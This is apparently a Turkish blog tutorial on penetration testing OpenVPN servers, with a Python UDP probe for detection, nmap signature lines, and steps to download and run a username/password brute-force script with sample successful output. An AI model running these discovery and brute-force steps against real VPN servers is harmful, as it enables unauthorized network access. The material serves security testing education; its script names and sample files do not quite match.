OpenVPN Sunucuların Keşfedilmesi ve Kaba Kuvvet Saldırısı Aracı

<div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3vmwqsfYiWMxqxol_SJVJKj5QoNcXrnE8r8c4LjjurFbtKc-0M3jTaM0MrJRyjgr5PG-UW6rIlM2PDFpUjmgTahME9ZSOC7Q8l7cbL4r0ssF0m_ku9Ne211i82dCUV7kHE58qr2ZenH4/s1600/radar.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="125" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3vmwqsfYiWMxqxol_SJVJKj5QoNcXrnE8r8c4LjjurFbtKc-0M3jTaM0MrJRyjgr5PG-UW6rIlM2PDFpUjmgTahME9ZSOC7Q8l7cbL4r0ssF0m_ku9Ne211i82dCUV7kHE58qr2ZenH4/s200/radar.jpg" width="200" /></a></div><a href="http://3.bp.blogspot.com/-BMTuHJKEKgU/Uh9HpFDuQAI/AAAAAAAAAaM/axTPMclDUnw/s1600/images.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><br /></a>Genel olarak sızma testlerinin ilk adımı, hedef sistem üzerindeki varlıkların keşfedilmesi ve ardından çalışan servislerin belirlenmesidir. Bunun için yapılan ilk adım port taraması ve çalışan servislerin belirlenmesidir. </div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Kurumsal ağlardan küçük ölçekli ağlara kadar hemen hemen bütün ağlarda VPN sunucu ile kullanıcıların kurum dışından kurum içine güvenli erişim imkanı sağlanmaktadır. Açık kaynak kod uygulaması olan <a href="http://openvpn.net/">OpenVPN</a> sunucu da yine bu amaç için hizmet vermekte olan bir servistir. Bu bağlamda OpenVPN sunucular hedef haline gelebilmektedir. OpenVPN sunucuların keşfedilmesinin ardından ise kullanıcı adı/parola bilgisi tahmini ile kurum ağı içerisine sızmakta mümkün hale gelebilmektedir.</div><div style="text-align: justify;"></div><a name="more"></a><br /><br /><div style="text-align: justify;">OpenVPN sunucuları keşfedebilmek için nmap yazılımı kullanılabilir. Ön tanımlı OpenVPN sunucu <b>1194/udp</b> portundan hizmet vermektedir. Ancak bu portun servisi ister tcp ister udp olarak degiştirilebilmektedir. Udp portu üzerinden hizmet vermekte olan OpenVPN sunucusunun keşfedilebilmesi hedef OpenVPN sunucusuna "\x38\x01\x00\x00\x00\x00\x00\x00\x00" özel paket gönderilerek yapılmaktadır. Bu işlem komut satırı üzerinden aşağıdaki şekilde gerçekleştirilebilirken aşağıdaki python kodu ile de gerçekleştirilebilmektedir. İlk parametre olarak openvpn sunucu ip adresi, ikinci parametre ise port numarasını almaktadır.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">#!/usr/bin/python<br /><br />import socket<br />import sys<br />senddata= "\x38\x01\x00\x00\x00\x00\x00\x00\x00"<br /><br />def checkserver(ip,port):<br />   print('Checking %s:%s' %(ip,port))<br />   sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)<br />   sock.settimeout(5) # in seconds<br />   sock.connect((ip, port))<br />   print("Sending request...")<br />   sock.send(senddata)<br />   try:<br />      data=sock.recv(100)<br />      print("Server reply: %s" %(data))<br />   except:<br />      print("Server not responding")<br />   sock.close()<br />   print("###########################################################")<br /><br />def main():<br />   ip = sys.argv[1]<br />   port = int(sys.argv[2])<br />   checkserver("%s"% (ip),port)<br /><br />if __name__ == "__main__":<br />   main()</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Udp portu üzerinden hizmet vermekte olan OpenVPN sunucu için yukarıda belirtildiği gibi keşif işlemi gerçekleştirilebilirken tcp üzerinden hizmet vermekte olan OpenVPN sunucu için ise nmap yazılımı kullanılabilir. Bunun için aşağıdaki nmap tarama seçenekleri kullanılabilir. Aşağidaki örnekte <b>192.168.1.37</b> ip adresli sunucunun <b>443/tcp</b> portu üzerinde çalışan servis icin tanımlama işlemi gerçekleştirilmektedir.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"># nmap -sT -sV -p 443 192.168.1.37 </div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Bu işlemden önce OpenVPN servis tanımlama için aşağidaki imzaların eklenmesi gerekmektedir.</div><div style="text-align: justify;">... </div><div style="text-align: justify;">match openvpn m|^\0\x0e@........\0\0\0\0\0\0\x0e@|s p/OpenVPN/<br />match openvpn m|^\0\x0e@........\0\0\0\0\0|s p/OpenVPN/<br />match openvpn m|^\0\*@.*\0\0\0\0\0|s p/OpenVPN/<br />match openvpn m|^\0<\xaa\xc5\r\^\xf7\x1b\xd1\xe1a/\xe8\x17P\x9dOb\xbb\x93\x87\xe0\xf3v\x81K\xa4!\xe6\xc7\x01\x977u5A\xd1M\x1b;\xc7\xcb\x87\xb5\x87\xf3~\xc8w\xef\xd3\x87eA\0\^\xbf\xc5\x93i\xf6\x87$| p/OpenVP /<br />match openvpn-management m|^>INFO:OpenVPN Management Interface Version ([\d.]+) -- type 'help' for more info\r\n>| p/OpenVPN Management Interface/ v/$1/</div><div style="text-align: justify;">...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Bu dosyanin en güncel haline <a href="https://svn.nmap.org/nmap/nmap-service-probes">https://svn.nmap.org/nmap/nmap-service-probes</a> adresinden erişim sağlanabilir.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Çalışan OpenVPN servisinin keşfedilmesinin ardından OpenVPN servisine yönelik <b>kullanıcı_adı/parola</b> tahmini saldırısı gerçekleştirilebilir. Betiğin kullanımı ile ilgili adımlar için belirtilen adımlar uygulanmalıdır.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"># wget <a href="https://raw.github.com/agguvenligi/openvpn_brute_force/master/openvpn_brute_force.sh">https://raw.github.com/agguvenligi/openvpn_brute_force/master/openvpn_brute_force.sh</a></div><div style="text-align: justify;"># chmod 755  openvpn_brute_force.sh</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Betik kullanımı için 2 adet dosya parametre olarak kullanılmaktadır. Birinci parametre olarak <b>kullanıcı_adı</b> ve parola bilgilerinin bulunduğu dosya, ikinci parametre ise OpenVPN servisi için gerekli ovpn uzantılı yapılandırma dosyasıdır. <b>kullanici_adi/parola</b> dosyası içerik olarak <b>kullanici_adi:parola</b> olarak belirtilmektedir. Örnek bir dosya içeriği aşağıdaki gibi olabilir;</div><br /><div style="text-align: justify;"># cat dict_file.txt <br />user:sifre2<br />user2:sifre</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Betiğin çaliştırılması sonucu aşagidaki çıktı alınmaktadır.</div><div style="text-align: justify;"></div><div style="text-align: justify;"></div><div style="text-align: justify;"></div><div style="text-align: justify;"></div><div style="text-align: justify;"><br /># ./brute_force_openvpn.sh dict_file.txt </div><div style="text-align: justify;">user1:sifre1 -> FAILURE</div>user2:sifre2 -> SUCCESS<br />user3:sifre3 -> FAILURE<br /><br /><div style="text-align: justify;">Göruldüğü gibi <b>user2</b> kullanıcı <b>sifre2</b> parolası ile OpenVPN sunucusuna bağlantı işlemini başarılı bir şekilde gerçekleştirilmektedir.</div>

OpenVPN Sunucuların Keşfedilmesi ve Kaba Kuvvet Saldırısı Aracı

Genel olarak sızma testlerinin ilk adımı, hedef sistem üzerindeki varlıkların keşfedilmesi ve ardından çalışan servislerin belirlenmesidir. ...

Read more »